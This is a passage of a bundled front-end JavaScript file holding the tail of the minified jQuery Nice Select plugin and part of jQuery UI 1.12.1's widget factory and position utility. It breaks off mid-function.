t=e(this),s=e(this).next(".nice-select");s.length&&(s.remove(),t.css("display",""))}),0==e(".nice-select").length&&e(document).off(".nice_select")):console.log('Method "'+t+'" does not exist.'),this;this.hide(),this.each(function(){var t=e(this);t.next().hasClass("nice-select")||s(t)}),e(document).off(".nice_select"),e(document).on("click.nice_select",".nice-select",function(t){var s=e(this);e(".nice-select").not(s).removeClass("open"),s.toggleClass("open"),s.hasClass("open")?(s.find(".option"),s.find(".focus").removeClass("focus"),s.find(".selected").addClass("focus")):s.focus()}),e(document).on("click.nice_select",function(t){0===e(t.target).closest(".nice-select").length&&e(".nice-select").removeClass("open").find(".option")}),e(document).on("click.nice_select",".nice-select .option:not(.disabled)",function(t){var s=e(this),n=s.closest(".nice-select");n.find(".selected").removeClass("selected"),s.addClass("selected");var i=s.data("display")||s.text();n.find(".current").text(i),n.prev("select").val(s.data("value")).trigger("change")}),e(document).on("keydown.nice_select",".nice-select",function(t){var s=e(this),n=e(s.find(".focus")||s.find(".list .option.selected"));if(32==t.keyCode||13==t.keyCode)return s.hasClass("open")?n.trigger("click"):s.trigger("click"),!1;if(40==t.keyCode){if(s.hasClass("open")){var i=n.nextAll(".option:not(.disabled)").first();i.length>0&&(s.find(".focus").removeClass("focus"),i.addClass("focus"))}else s.trigger("click");return!1}if(38==t.keyCode){if(s.hasClass("open")){var l=n.prevAll(".option:not(.disabled)").first();l.length>0&&(s.find(".focus").removeClass("focus"),l.addClass("focus"))}else s.trigger("click");return!1}if(27==t.keyCode)s.hasClass("open")&&s.trigger("click");else if(9==t.keyCode&&s.hasClass("open"))return!1});var n=document.createElement("a").style;return n.cssText="pointer-events:auto","auto"!==n.pointerEvents&&e("html").addClass("no-csspointerevents"),this}}(jQuery); + + + +/* jQuery UI - v1.12.1 +-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + +/*! jQuery UI - v1.12.1 - 2016-09-14 +* http://jqueryui.com +* Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js, effects/effect-clip.js, effects/effect-drop.js, effects/effect-explode.js, effects/effect-fade.js, effects/effect-fold.js, effects/effect-highlight.js, effects/effect-puff.js, effects/effect-pulsate.js, effects/effect-scale.js, effects/effect-shake.js, effects/effect-size.js, effects/effect-slide.js, effects/effect-transfer.js, focusable.js, form-reset-mixin.js, jquery-1-7.js, keycode.js, labels.js, scroll-parent.js, tabbable.js, unique-id.js, widgets/accordion.js, widgets/autocomplete.js, widgets/button.js, widgets/checkboxradio.js, widgets/controlgroup.js, widgets/datepicker.js, widgets/dialog.js, widgets/draggable.js, widgets/droppable.js, widgets/menu.js, widgets/mouse.js, widgets/progressbar.js, widgets/resizable.js, widgets/selectable.js, widgets/selectmenu.js, widgets/slider.js, widgets/sortable.js, widgets/spinner.js, widgets/tabs.js, widgets/tooltip.js +* Copyright jQuery Foundation and other contributors; Licensed MIT */ + +(function( factory ) { + if ( typeof define === "function" && define.amd ) { + + // AMD. Register as an anonymous module. + define([ "jquery" ], factory ); + } else { + + // Browser globals + factory( jQuery ); + } +}(function( $ ) { + +$.ui = $.ui || {}; + +var version = $.ui.version = "1.12.1"; + + +/*! + * jQuery UI Widget 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Widget +//>>group: Core +//>>description: Provides a factory for creating stateful widgets with a common API. +//>>docs: http://api.jqueryui.com/jQuery.widget/ +//>>demos: http://jqueryui.com/widget/ + + + +var widgetUuid = 0; +var widgetSlice = Array.prototype.slice; + +$.cleanData = ( function( orig ) { + return function( elems ) { + var events, elem, i; + for ( i = 0; ( elem = elems[ i ] ) != null; i++ ) { + try { + + // Only trigger remove when necessary to save time + events = $._data( elem, "events" ); + if ( events && events.remove ) { + $( elem ).triggerHandler( "remove" ); + } + + // Http://bugs.jquery.com/ticket/8235 + } catch ( e ) {} + } + orig( elems ); + }; +} )( $.cleanData ); + +$.widget = function( name, base, prototype ) { + var existingConstructor, constructor, basePrototype; + + // ProxiedPrototype allows the provided prototype to remain unmodified + // so that it can be used as a mixin for multiple widgets (#8876) + var proxiedPrototype = {}; + + var namespace = name.split( "." )[ 0 ]; + name = name.split( "." )[ 1 ]; + var fullName = namespace + "-" + name; + + if ( !prototype ) { + prototype = base; + base = $.Widget; + } + + if ( $.isArray( prototype ) ) { + prototype = $.extend.apply( null, [ {} ].concat( prototype ) ); + } + + // Create selector for plugin + $.expr[ ":" ][ fullName.toLowerCase() ] = function( elem ) { + return !!$.data( elem, fullName ); + }; + + $[ namespace ] = $[ namespace ] || {}; + existingConstructor = $[ namespace ][ name ]; + constructor = $[ namespace ][ name ] = function( options, element ) { + + // Allow instantiation without "new" keyword + if ( !this._createWidget ) { + return new constructor( options, element ); + } + + // Allow instantiation without initializing for simple inheritance + // must use "new" keyword (the code above always passes args) + if ( arguments.length ) { + this._createWidget( options, element ); + } + }; + + // Extend with the existing constructor to carry over any static properties + $.extend( constructor, existingConstructor, { + version: prototype.version, + + // Copy the object used to create the prototype in case we need to + // redefine the widget later + _proto: $.extend( {}, prototype ), + + // Track widgets that inherit from this widget in case this widget is + // redefined after a widget inherits from it + _childConstructors: [] + } ); + + basePrototype = new base(); + + // We need to make the options hash a property directly on the new instance + // otherwise we'll modify the options hash on the prototype that we're + // inheriting from + basePrototype.options = $.widget.extend( {}, basePrototype.options ); + $.each( prototype, function( prop, value ) { + if ( !$.isFunction( value ) ) { + proxiedPrototype[ prop ] = value; + return; + } + proxiedPrototype[ prop ] = ( function() { + function _super() { + return base.prototype[ prop ].apply( this, arguments ); + } + + function _superApply( args ) { + return base.prototype[ prop ].apply( this, args ); + } + + return function() { + var __super = this._super; + var __superApply = this._superApply; + var returnValue; + + this._super = _super; + this._superApply = _superApply; + + returnValue = value.apply( this, arguments ); + + this._super = __super; + this._superApply = __superApply; + + return returnValue; + }; + } )(); + } ); + constructor.prototype = $.widget.extend( basePrototype, { + + // TODO: remove support for widgetEventPrefix + // always use the name + a colon as the prefix, e.g., draggable:start + // don't prefix for widgets that aren't DOM-based + widgetEventPrefix: existingConstructor ? ( basePrototype.widgetEventPrefix || name ) : name + }, proxiedPrototype, { + constructor: constructor, + namespace: namespace, + widgetName: name, + widgetFullName: fullName + } ); + + // If this widget is being redefined then we need to find all widgets that + // are inheriting from it and redefine all of them so that they inherit from + // the new version of this widget. We're essentially trying to replace one + // level in the prototype chain. + if ( existingConstructor ) { + $.each( existingConstructor._childConstructors, function( i, child ) { + var childPrototype = child.prototype; + + // Redefine the child widget using the same prototype that was + // originally used, but inherit from the new version of the base + $.widget( childPrototype.namespace + "." + childPrototype.widgetName, constructor, + child._proto ); + } ); + + // Remove the list of existing child constructors from the old constructor + // so the old child constructors can be garbage collected + delete existingConstructor._childConstructors; + } else { + base._childConstructors.push( constructor ); + } + + $.widget.bridge( name, constructor ); + + return constructor; +}; + +$.widget.extend = function( target ) { + var input = widgetSlice.call( arguments, 1 ); + var inputIndex = 0; + var inputLength = input.length; + var key; + var value; + + for ( ; inputIndex < inputLength; inputIndex++ ) { + for ( key in input[ inputIndex ] ) { + value = input[ inputIndex ][ key ]; + if ( input[ inputIndex ].hasOwnProperty( key ) && value !== undefined ) { + + // Clone objects + if ( $.isPlainObject( value ) ) { + target[ key ] = $.isPlainObject( target[ key ] ) ? + $.widget.extend( {}, target[ key ], value ) : + + // Don't extend strings, arrays, etc. with objects + $.widget.extend( {}, value ); + + // Copy everything else by reference + } else { + target[ key ] = value; + } + } + } + } + return target; +}; + +$.widget.bridge = function( name, object ) { + var fullName = object.prototype.widgetFullName || name; + $.fn[ name ] = function( options ) { + var isMethodCall = typeof options === "string"; + var args = widgetSlice.call( arguments, 1 ); + var returnValue = this; + + if ( isMethodCall ) { + + // If this is an empty collection, we need to have the instance method + // return undefined instead of the jQuery instance + if ( !this.length && options === "instance" ) { + returnValue = undefined; + } else { + this.each( function() { + var methodValue; + var instance = $.data( this, fullName ); + + if ( options === "instance" ) { + returnValue = instance; + return false; + } + + if ( !instance ) { + return $.error( "cannot call methods on " + name + + " prior to initialization; " + + "attempted to call method '" + options + "'" ); + } + + if ( !$.isFunction( instance[ options ] ) || options.charAt( 0 ) === "_" ) { + return $.error( "no such method '" + options + "' for " + name + + " widget instance" ); + } + + methodValue = instance[ options ].apply( instance, args ); + + if ( methodValue !== instance && methodValue !== undefined ) { + returnValue = methodValue && methodValue.jquery ? + returnValue.pushStack( methodValue.get() ) : + methodValue; + return false; + } + } ); + } + } else { + + // Allow multiple hashes to be passed on init + if ( args.length ) { + options = $.widget.extend.apply( null, [ options ].concat( args ) ); + } + + this.each( function() { + var instance = $.data( this, fullName ); + if ( instance ) { + instance.option( options || {} ); + if ( instance._init ) { + instance._init(); + } + } else { + $.data( this, fullName, new object( options, this ) ); + } + } ); + } + + return returnValue; + }; +}; + +$.Widget = function( /* options, element */ ) {}; +$.Widget._childConstructors = []; + +$.Widget.prototype = { + widgetName: "widget", + widgetEventPrefix: "", + defaultElement: "<div>", + + options: { + classes: {}, + disabled: false, + + // Callbacks + create: null + }, + + _createWidget: function( options, element ) { + element = $( element || this.defaultElement || this )[ 0 ]; + this.element = $( element ); + this.uuid = widgetUuid++; + this.eventNamespace = "." + this.widgetName + this.uuid; + + this.bindings = $(); + this.hoverable = $(); + this.focusable = $(); + this.classesElementLookup = {}; + + if ( element !== this ) { + $.data( element, this.widgetFullName, this ); + this._on( true, this.element, { + remove: function( event ) { + if ( event.target === element ) { + this.destroy(); + } + } + } ); + this.document = $( element.style ? + + // Element within the document + element.ownerDocument : + + // Element is window or document + element.document || element ); + this.window = $( this.document[ 0 ].defaultView || this.document[ 0 ].parentWindow ); + } + + this.options = $.widget.extend( {}, + this.options, + this._getCreateOptions(), + options ); + + this._create(); + + if ( this.options.disabled ) { + this._setOptionDisabled( this.options.disabled ); + } + + this._trigger( "create", null, this._getCreateEventData() ); + this._init(); + }, + + _getCreateOptions: function() { + return {}; + }, + + _getCreateEventData: $.noop, + + _create: $.noop, + + _init: $.noop, + + destroy: function() { + var that = this; + + this._destroy(); + $.each( this.classesElementLookup, function( key, value ) { + that._removeClass( value, key ); + } ); + + // We can probably remove the unbind calls in 2.0 + // all event bindings should go through this._on() + this.element + .off( this.eventNamespace ) + .removeData( this.widgetFullName ); + this.widget() + .off( this.eventNamespace ) + .removeAttr( "aria-disabled" ); + + // Clean up events and states + this.bindings.off( this.eventNamespace ); + }, + + _destroy: $.noop, + + widget: function() { + return this.element; + }, + + option: function( key, value ) { + var options = key; + var parts; + var curOption; + var i; + + if ( arguments.length === 0 ) { + + // Don't return a reference to the internal hash + return $.widget.extend( {}, this.options ); + } + + if ( typeof key === "string" ) { + + // Handle nested keys, e.g., "foo.bar" => { foo: { bar: ___ } } + options = {}; + parts = key.split( "." ); + key = parts.shift(); + if ( parts.length ) { + curOption = options[ key ] = $.widget.extend( {}, this.options[ key ] ); + for ( i = 0; i < parts.length - 1; i++ ) { + curOption[ parts[ i ] ] = curOption[ parts[ i ] ] || {}; + curOption = curOption[ parts[ i ] ]; + } + key = parts.pop(); + if ( arguments.length === 1 ) { + return curOption[ key ] === undefined ? null : curOption[ key ]; + } + curOption[ key ] = value; + } else { + if ( arguments.length === 1 ) { + return this.options[ key ] === undefined ? null : this.options[ key ]; + } + options[ key ] = value; + } + } + + this._setOptions( options ); + + return this; + }, + + _setOptions: function( options ) { + var key; + + for ( key in options ) { + this._setOption( key, options[ key ] ); + } + + return this; + }, + + _setOption: function( key, value ) { + if ( key === "classes" ) { + this._setOptionClasses( value ); + } + + this.options[ key ] = value; + + if ( key === "disabled" ) { + this._setOptionDisabled( value ); + } + + return this; + }, + + _setOptionClasses: function( value ) { + var classKey, elements, currentElements; + + for ( classKey in value ) { + currentElements = this.classesElementLookup[ classKey ]; + if ( value[ classKey ] === this.options.classes[ classKey ] || + !currentElements || + !currentElements.length ) { + continue; + } + + // We are doing this to create a new jQuery object because the _removeClass() call + // on the next line is going to destroy the reference to the current elements being + // tracked. We need to save a copy of this collection so that we can add the new classes + // below. + elements = $( currentElements.get() ); + this._removeClass( currentElements, classKey ); + + // We don't use _addClass() here, because that uses this.options.classes + // for generating the string of classes. We want to use the value passed in from + // _setOption(), this is the new value of the classes option which was passed to + // _setOption(). We pass this value directly to _classes(). + elements.addClass( this._classes( { + element: elements, + keys: classKey, + classes: value, + add: true + } ) ); + } + }, + + _setOptionDisabled: function( value ) { + this._toggleClass( this.widget(), this.widgetFullName + "-disabled", null, !!value ); + + // If the widget is becoming disabled, then nothing is interactive + if ( value ) { + this._removeClass( this.hoverable, null, "ui-state-hover" ); + this._removeClass( this.focusable, null, "ui-state-focus" ); + } + }, + + enable: function() { + return this._setOptions( { disabled: false } ); + }, + + disable: function() { + return this._setOptions( { disabled: true } ); + }, + + _classes: function( options ) { + var full = []; + var that = this; + + options = $.extend( { + element: this.element, + classes: this.options.classes || {} + }, options ); + + function processClassString( classes, checkOption ) { + var current, i; + for ( i = 0; i < classes.length; i++ ) { + current = that.classesElementLookup[ classes[ i ] ] || $(); + if ( options.add ) { + current = $( $.unique( current.get().concat( options.element.get() ) ) ); + } else { + current = $( current.not( options.element ).get() ); + } + that.classesElementLookup[ classes[ i ] ] = current; + full.push( classes[ i ] ); + if ( checkOption && options.classes[ classes[ i ] ] ) { + full.push( options.classes[ classes[ i ] ] ); + } + } + } + + this._on( options.element, { + "remove": "_untrackClassesElement" + } ); + + if ( options.keys ) { + processClassString( options.keys.match( /\S+/g ) || [], true ); + } + if ( options.extra ) { + processClassString( options.extra.match( /\S+/g ) || [] ); + } + + return full.join( " " ); + }, + + _untrackClassesElement: function( event ) { + var that = this; + $.each( that.classesElementLookup, function( key, value ) { + if ( $.inArray( event.target, value ) !== -1 ) { + that.classesElementLookup[ key ] = $( value.not( event.target ).get() ); + } + } ); + }, + + _removeClass: function( element, keys, extra ) { + return this._toggleClass( element, keys, extra, false ); + }, + + _addClass: function( element, keys, extra ) { + return this._toggleClass( element, keys, extra, true ); + }, + + _toggleClass: function( element, keys, extra, add ) { + add = ( typeof add === "boolean" ) ? add : extra; + var shift = ( typeof element === "string" || element === null ), + options = { + extra: shift ? keys : extra, + keys: shift ? element : keys, + element: shift ? this.element : element, + add: add + }; + options.element.toggleClass( this._classes( options ), add ); + return this; + }, + + _on: function( suppressDisabledCheck, element, handlers ) { + var delegateElement; + var instance = this; + + // No suppressDisabledCheck flag, shuffle arguments + if ( typeof suppressDisabledCheck !== "boolean" ) { + handlers = element; + element = suppressDisabledCheck; + suppressDisabledCheck = false; + } + + // No element argument, shuffle and use this.element + if ( !handlers ) { + handlers = element; + element = this.element; + delegateElement = this.widget(); + } else { + element = delegateElement = $( element ); + this.bindings = this.bindings.add( element ); + } + + $.each( handlers, function( event, handler ) { + function handlerProxy() { + + // Allow widgets to customize the disabled handling + // - disabled as an array instead of boolean + // - disabled class as method for disabling individual parts + if ( !suppressDisabledCheck && + ( instance.options.disabled === true || + $( this ).hasClass( "ui-state-disabled" ) ) ) { + return; + } + return ( typeof handler === "string" ? instance[ handler ] : handler ) + .apply( instance, arguments ); + } + + // Copy the guid so direct unbinding works + if ( typeof handler !== "string" ) { + handlerProxy.guid = handler.guid = + handler.guid || handlerProxy.guid || $.guid++; + } + + var match = event.match( /^([\w:-]*)\s*(.*)$/ ); + var eventName = match[ 1 ] + instance.eventNamespace; + var selector = match[ 2 ]; + + if ( selector ) { + delegateElement.on( eventName, selector, handlerProxy ); + } else { + element.on( eventName, handlerProxy ); + } + } ); + }, + + _off: function( element, eventName ) { + eventName = ( eventName || "" ).split( " " ).join( this.eventNamespace + " " ) + + this.eventNamespace; + element.off( eventName ).off( eventName ); + + // Clear the stack to avoid memory leaks (#10056) + this.bindings = $( this.bindings.not( element ).get() ); + this.focusable = $( this.focusable.not( element ).get() ); + this.hoverable = $( this.hoverable.not( element ).get() ); + }, + + _delay: function( handler, delay ) { + function handlerProxy() { + return ( typeof handler === "string" ? instance[ handler ] : handler ) + .apply( instance, arguments ); + } + var instance = this; + return setTimeout( handlerProxy, delay || 0 ); + }, + + _hoverable: function( element ) { + this.hoverable = this.hoverable.add( element ); + this._on( element, { + mouseenter: function( event ) { + this._addClass( $( event.currentTarget ), null, "ui-state-hover" ); + }, + mouseleave: function( event ) { + this._removeClass( $( event.currentTarget ), null, "ui-state-hover" ); + } + } ); + }, + + _focusable: function( element ) { + this.focusable = this.focusable.add( element ); + this._on( element, { + focusin: function( event ) { + this._addClass( $( event.currentTarget ), null, "ui-state-focus" ); + }, + focusout: function( event ) { + this._removeClass( $( event.currentTarget ), null, "ui-state-focus" ); + } + } ); + }, + + _trigger: function( type, event, data ) { + var prop, orig; + var callback = this.options[ type ]; + + data = data || {}; + event = $.Event( event ); + event.type = ( type === this.widgetEventPrefix ? + type : + this.widgetEventPrefix + type ).toLowerCase(); + + // The original event may come from any element + // so we need to reset the target on the new event + event.target = this.element[ 0 ]; + + // Copy original event properties over to the new event + orig = event.originalEvent; + if ( orig ) { + for ( prop in orig ) { + if ( !( prop in event ) ) { + event[ prop ] = orig[ prop ]; + } + } + } + + this.element.trigger( event, data ); + return !( $.isFunction( callback ) && + callback.apply( this.element[ 0 ], [ event ].concat( data ) ) === false || + event.isDefaultPrevented() ); + } +}; + +$.each( { show: "fadeIn", hide: "fadeOut" }, function( method, defaultEffect ) { + $.Widget.prototype[ "_" + method ] = function( element, options, callback ) { + if ( typeof options === "string" ) { + options = { effect: options }; + } + + var hasOptions; + var effectName = !options ? + method : + options === true || typeof options === "number" ? + defaultEffect : + options.effect || defaultEffect; + + options = options || {}; + if ( typeof options === "number" ) { + options = { duration: options }; + } + + hasOptions = !$.isEmptyObject( options ); + options.complete = callback; + + if ( options.delay ) { + element.delay( options.delay ); + } + + if ( hasOptions && $.effects && $.effects.effect[ effectName ] ) { + element[ method ]( options ); + } else if ( effectName !== method && element[ effectName ] ) { + element[ effectName ]( options.duration, options.easing, callback ); + } else { + element.queue( function( next ) { + $( this )[ method ](); + if ( callback ) { + callback.call( element[ 0 ] ); + } + next(); + } ); + } + }; +} ); + +var widget = $.widget; + + +/*! + * jQuery UI Position 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + * + * http://api.jqueryui.com/position/ + */ + +//>>label: Position +//>>group: Core +//>>description: Positions elements relative to other elements. +//>>docs: http://api.jqueryui.com/position/ +//>>demos: http://jqueryui.com/position/ + + +( function() { +var cachedScrollbarWidth, + max = Math.max, + abs = Math.abs, + rhorizontal = /left|center|right/, + rvertical = /top|center|bottom/, + roffset = /[\+\-]\d+(\.[\d]+)?%?/, + rposition = /^\w+/, + rpercent = /%$/, + _position = $.fn.position; + +function getOffsets( offsets, width, height ) { + return [ + parseFloat( offsets[ 0 ] ) * ( rpercent.test( offsets[ 0 ] ) ? width / 100 : 1 ), + parseFloat( offsets[ 1 ] ) * ( rpercent.test( offsets[ 1 ] ) ? height / 100 : 1 ) + ]; +} + +function parseCss( element, property ) { + return parseInt( $.css( element, property ), 10 ) || 0; +} + +function getDimensions( elem ) { + var raw = elem[ 0 ]; + if ( raw.nodeType === 9 ) { + return { + width: elem.width(), + height: elem.height(), + offset: { top: 0, left: 0 } + }; + } + if ( $.isWindow( raw ) ) { + return { + width: elem.width(), + height: elem.height(), + offset: { top: elem.scrollTop(), left: elem.scrollLeft() } + }; + } + if ( raw.preventDefault ) { + return { + width: 0, + height: 0, + offset: { top: raw.pageY, left: raw.pageX } + }; + } + return { + width: elem.outerWidth(), + height: elem.outerHeight(), + offset: elem.offset() + }; +} + +$.position = { + scrollbarWidth: function() { + if ( cachedScrollbarWidth !== undefined ) { + return cachedScrollbarWidth; + } + var w1, w2, + div = $( "<div " + + "style='display:block;position:absolute;width:50px;height:50px;overflow:hidden;'>" + + "<div style='height:100px;width:auto;'></div></div>" ), + innerDiv = div.children()[ 0 ]; + + $( "body" ).append( div ); + w1 = innerDiv.offsetWidth; + div.css( "overflow", "scroll" ); + + w2 = innerDiv.offsetWidth; + + if ( w1 === w2 ) { + w2 = div[ 0 ].clientWidth; + } + + div.remove(); + + return ( cachedScrollbarWidth = w1 - w2 ); + }, + getScrollInfo: function( within ) { + var overflowX = within.isWindow || within.isDocument ? "" : + within.element.css( "overflow-x" ), + overflowY = within.isWindow || within.isDocument ? "" : + within.element.css( "overflow-y" ), + hasOverflowX = overflowX === "scroll" || + ( overflowX === "auto" && within.width < within.element[ 0 ].scrollWidth ), + hasOverflowY = overflowY === "scroll" || + ( overflowY === "auto" && within.height < within.element[ 0 ].scrollHeight ); + return { + width: hasOverflowY ? $.position.scrollbarWidth() : 0, + height: hasOverflowX ? $.position.scrollbarWidth() : 0 + }; + }, + getWithinInfo: function( element ) { + var withinElement = $( element || window ), + isWindow = $.isWindow( withinElement[ 0 ] ), + isDocument = !!withinElement[ 0 ] && withinElement[ 0 ].nodeType === 9, + hasOffset = !isWindow && !isDocument; + return { + element: withinElement, + isWindow: isWindow, + isDocument: isDocument, + offset: hasOffset ? $( element ).offset() : { left: 0, top: 0 }, + scrollLeft: withinElement.scrollLeft(), + scrollTop: withinElement.scrollTop(), + width: withinElement.outerWidth(), + height: withinElement.outerHeight() + }; + } +}; + +$.fn.position = function( options ) { + if ( !options || !options.of ) { + return _position.apply( this, arguments ); + } + + // Make a copy, we don't want to modify arguments + options = $.extend( {}, options ); + + var atOffset, targetWidth, targetHeight, targetOffset, basePosition, dimensions, + target = $( options.of ), + within = $.position.getWithinInfo( options.within ), + scrollInfo = $.position.getScrollInfo( within ), + collision = ( options.collision || "flip" ).split( " " ), + offsets = {}; + + dimensions = getDimensions( target ); + if ( target[ 0 ].preventDefault ) { + + // Force left top to allow flipping + options.at = "left top"; + } + targetWidth = dimensions.width; + targetHeight = dimensions.height; + targetOffset = dimensions.offset; + + // Clone to reuse original targetOffset later + basePosition = $.extend( {}, targetOffset ); + + // Force my and at to have valid horizontal and vertical positions + // if a value is missing or invalid, it will be converted to center + $.each( [ "my", "at" ], function() { + var pos = ( options[ this ] || "" ).split( " " ), + horizontalOffset, + verticalOffset; + + if ( pos.length === 1 ) { + pos = rhorizontal.test( pos[ 0 ] ) ? + pos.concat( [ "center" ] ) : + rvertical.test( pos[ 0 ] ) ? + [ "center" ].concat( pos ) : + [ "center", "center" ]; + } + pos[ 0 ] = rhorizontal.test( pos[ 0 ] ) ? pos[ 0 ] : "center"; + pos[ 1 ] = rvertical.test( pos[ 1 ] ) ? pos[ 1 ] : "center"; + + // Calculate offsets + horizontalOffset = roffset.exec( pos[ 0 ] ); + verticalOffset = roffset.exec( pos[ 1 ] ); + offsets[ this ] = [ + horizontalOffset ? horizontalOffset[ 0 ] : 0, + verticalOffset ? verticalOffset[ 0 ] : 0 + ]; + + // Reduce to just the positions without the offsets + options[ this ] = [ + rposition.exec( pos[ 0 ] )[ 0 ], + rposition.exec( pos[ 1 ] )[ 0 ] + ]; + } ); + + // Normalize collision option + if ( collision.length === 1 ) { + collision[ 1 ] = collision[ 0 ]; + } + + if ( options.at[ 0 ] === "right" ) { + basePosition.left += targetWidth; + } else if ( options.at[ 0 ] === "center" ) { + basePosition.left += targetWidth / 2; + } + + if ( options.at[ 1 ] === "bottom" ) { + basePosition.top += targetHeight; + } else if ( options.at[ 1 ] === "center" ) { + basePosition.top += targetHeight / 2; + } + + atOffset = getOffsets( offsets.at, targetWidth, targetHeight ); + basePosition.left += atOffset[ 0 ]; + basePosition.top += atOffset[ 1 ]; + + return this.each( function() { + var collisionPosition, using, + elem = $( this ), + elemWidth = elem.outerWidth(), + elemHeight = elem.outerHeight(), + marginLeft = parseCss( this, "marginLeft" ), + marginTop = parseCss( this, "marginTop" ), + collisionWidth = elemWidth + marginLeft + parseCss( this, "marginRight" ) + + scrollInfo.width, + collisionHeight = elemHeight + marginTop + parseCss( this, "marginBottom" ) + + scrollInfo.height, + position = $.extend( {}, basePosition ), + myOffset = getOffsets( offsets.my, elem.outerWidth(), elem.outerHeight() ); + + if ( options.my[ 0 ] === "right" ) { + position.left -= elemWidth; + } else if ( options.my[ 0 ] === "center" ) { + position.left -= elemWidth / 2; + } + + if ( options.my[ 1 ] === "bottom" ) { + position.top -= elemHeight; + } else if ( options.my[ 1 ] === "center" ) { + position.top -= elemHeight / 2; + } + + position.left += myOffset[ 0 ]; + position.top += myOffset[ 1 ]; + + collisionPosition = { + marginLeft: marginLeft, + marginTop: marginTop + }; + + $.each( [ "left", "top" ], function( i, dir ) { + if ( $.ui.position[ collision[ i ] ] ) { + $.ui.position[ collision[ i ] ][ dir ]( position, { + targetWidth: targetWidth, + targetHeight: targetHeight, + elemWidth: elemWidth, + elemHeight: elemHeight, + collisionPosition: collisionPosition, + collisionWidth: collisionWidth, + collisionHeight: collisionHeight, + offset: [ atOffset[ 0 ] + myOffset[ 0 ], atOffset [ 1 ] + myOffset[ 1 ] ], + my: options.my, + at: options.at, + within: within, + elem: elem + } ); + } + } ); + + if ( options.using ) { + + // Adds feedback as second argument to using callback, if present + using = function( props ) { + var left = targetOffset.left - position.left, + right = left + targetWidth - elemWidth, + top = targetOffset.top - position.top, + bottom = top + targetHeight - elemHeight, + feedback = { + target: { + element: target, + left: targetOffset.left, + top: targetOffset.top, + width: targetWidth, + height: targetHeight + }, + element: { + element: elem, + left: position.left, + top: position.top, + width: elemWidth, + height: elemHeight + }, + horizontal: right < 0 ? "left" : left > 0 ? "right" : "center", + vertical: bottom < 0 ? "top" : top > 0 ? "bottom" : "middle" + }; + if ( targetWidth < elemWidth && abs( left + right ) < targetWidth ) { + feedback.horizontal = "center"; + } + if ( targetHeight < elemHeight && abs( top + bottom ) < targetHeight ) { + feedback.vertical = "middle"; + } + if ( max( abs( left ), abs( right ) ) > max( abs( top ), abs( bottom ) ) ) { + feedback.important = "horizontal"; + } else { + feedback.important = "vertical"; + } + options.using.call( this, props, feedback ); + }; + } + + elem.offset( $.extend( position, { using: using } ) ); + } ); +}; + +$.ui.position = { + fit: { + left: function( position, data ) { + var within = data.within, + withinOffset = within.isWindow ? within.scrollLeft : within.offset.left, + outerWidth = within.width, + collisionPosLeft = position.left - data.collisionPosition.marginLeft, + overLeft = withinOffset - collisionPosLeft, + overRight = collisionPosLeft + data.collisionWidth - outerWidth - withinOffset, + newOverRight; + + // Element is wider than within + if ( data.collisionWidth > outerWidth ) { + + // Element is initially over the left side of within + if ( overLeft > 0 && overRight <= 0 ) { + newOverRight = position.left + overLeft + data.collisionWidth - outerWidth - + withinOffset; + position.left += overLeft - newOverRight; + + // Element is initially over right side of within + } else if ( overRight > 0 && overLeft <= 0 ) { + position.left = withinOffset; + + // Element is initially over both left and right sides of within + } else { + if ( overLeft > overRight ) { + position.left = withinOffset + outerWidth - data.collisionWidth; + } else { + position.left = withinOffset; + } + } + + // Too far left -> align with left edge + } else if ( overLeft > 0 ) { + position.left += overLeft; + + // Too far right -> align with right edge + } else if ( overRight > 0 ) { + position.left -= overRight; + + // Adjust based on position and margin + } else { + position.left = max( position.left - collisionPosLeft, position.left ); + } + }, + top: function( position, data ) { + var within = data.within, + withinOffset = within.isWindow ? within.scrollTop : within.offset.top, + outerHeight = data.within.height, + collisionPosTop = position.top - data.collisionPosition.marginTop, + overTop = withinOffset - collisionPosTop, + overBottom = collisionPosTop + data.collisionHeight - outerHeight - withinOffset, + newOverBottom; + + // Element is taller than within + if ( data.collisionHeight > outerHeight ) { + + // Element is initially over the top of within + if ( overTop > 0 && overBottom <= 0 ) { + newOverBottom = position.top + overTop + data.collisionHeight - outerHeight - + withinOffset; + position.top += overTop - newOverBottom; + + // Element is initially over bottom of within + } else if ( overBottom > 0 && overTop <= 0 ) { + position.top = withinOffset; + + // Element is initially over both top and bottom of within + } else { + if ( overTop > overBottom ) { + position.top = withinOffset + outerHeight - data.collisionHeight; + } else { + position.top = withinOffset; + } + } + + // Too far up -> align with top + } else if ( overTop > 0 ) { + position.top += overTop; + + // Too far down -> align with bottom edge + } else if ( overBottom > 0 ) { + position.top -= overBottom; + + // Adjust based on position and margin + } else { + position.top = max( position.top - collisionPosTop, position.top ); + } + } + }, + flip: { + left: function( position, data ) { + var within = data.within, + withinOffset = within.offset.left + within.scrollLeft, + outerWidth = within.width, + offsetLeft = within.isWindow ? within.scrollLeft : within.offset.left, + collisionPosLeft = position.left - data.collisionPosition.marginLeft, + overLeft = collisionPosLeft - offsetLeft, + overRight = collisionPosLeft + data.collisionWidth - outerWidth - offsetLeft, + myOffset = data.my[ 0 ] === "left" ? + -data.elemWidth : + data.my[ 0 ] === "right" ? + data.elemWidth : + 0, + atOffset = data.at[ 0 ] === "left" ? + data.targetWidth : + data.at[ 0 ] === "right" ? + -data.targetWidth : + 0, + offset = -2 * data.offset[ 0 ], + newOverRight, + newOverLeft; + + if ( overLeft < 0 ) { + newOverRight = position.left + myOffset + atOffset + offset + data.collisionWidth - + outerWidth - withinOffset; + if ( newOverRight < 0 || newOverRight < abs( overLeft ) ) { + position.left += myOffset + atOffset + offset; + } + } else if ( overRight > 0 ) { + newOverLeft = position.left - data.collisionPosition.marginLeft + myOffset + + atOffset + offset - offsetLeft; + if ( newOverLeft > 0 || abs( newOverLeft ) < overRight ) { + position.left += myOffset + atOffset + offset; + } + } + }, + top: function( position, data ) { + var within = data.within, + withinOffset = within.offset.top + within.scrollTop, + outerHeight = within.height, + offsetTop = within.isWindow ? within.scrollTop : within.offset.top, + collisionPosTop = position.top - data.collisionPosition.marginTop, + overTop = collisionPosTop - offsetTop, + overBottom = collisionPosTop + data.collisionHeight - outerHeight - offsetTop, + top = data.my[ 1 ] === "top", + myOffset = top ? + -data.elemHeight : + 